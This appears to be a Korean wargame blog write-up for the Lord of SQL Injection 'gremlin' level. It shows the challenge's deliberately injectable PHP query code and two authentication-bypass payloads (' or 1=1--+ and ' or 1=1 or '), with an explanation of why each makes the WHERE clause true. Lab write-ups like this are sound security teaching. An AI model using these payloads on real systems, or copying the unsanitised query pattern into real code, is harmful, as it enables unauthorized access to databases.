Tyojong
[LOS] gremlin 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("gremlin");
highlight_file(__FILE__);
?>
입문자를 위해 Lord of SQL Injection에서 앞으로 기본적으로 사용되는 코드만 살펴보자. (php 코드는 알면 좋다.)
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
preg_match 함수를 이용해 정규표현식에 해당하는 문자열을 필터링한다. (해당 문제에서는 다른 문제에 영향을 줄 문자열들만 필터링 하고 있다.)
$query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
php 코드를 확인해보면 $_GET을 통해 id와 pw를 query string으로 받는다.
문제 목표
if($result['id']) solve("gremlin");
sql 조회 결과중 id값이 있으면 해결된다.
문제 해결
select id from prob_gremlin where id='' and pw=''
해당 sql 구문에서 where 구문만 참으로 만들면 id가 출력되기 때문에
?id=' or 1=1--+ 을 넣으면 (url에서 +는 공백)
select id from prob_gremlin where id='' or 1=1-- ' and pw=''
이런식으로 값이 들어가 where구문이 참으로 만들어지고 주석(--) 뒤 코드는 무시되기 때문에 올바른 sql 조회 구문이 만들어지고 id값이 출력되어 문제가 해결된다.
(다음 문제의 풀이 부터는 자세하게 작성하지 않겠다.)
다른 해결
where구문만 참으로 만들면 되기 때문에 여러 풀이들이 존재할 수 있다.
그 중 주석을 사용할 수 없을 경우의 풀이를 살펴보자
?id=' or 1=1 or ' 을 넣으면
select id from prob_gremlin where id='' or 1=1 or '' and pw=''
라는 구문이 만들어 진다.
해당 where 구문이 참이 되는 과정을 살펴보면
오른쪽에 pw=''와 '' 을 and 연산하면 false가 반환되지만 옆에 1=1과 false를 or연산하면 True가 반환되기 때문에 전체적으로 보면 True가 반환된다. (설명이 이상하지만 True가 되는 로직을 잘 파악하는 것이 중요하다.)
'web > LOS' 카테고리의 다른 글
[LOS] darkelf (0) | 2025.07.22 |
---|---|
[LOS] wolfman (0) | 2025.07.21 |
[LOS] orc (0) | 2025.07.20 |
[LOS] goblin (0) | 2025.07.20 |
[LOS] cobolt (0) | 2025.07.20 |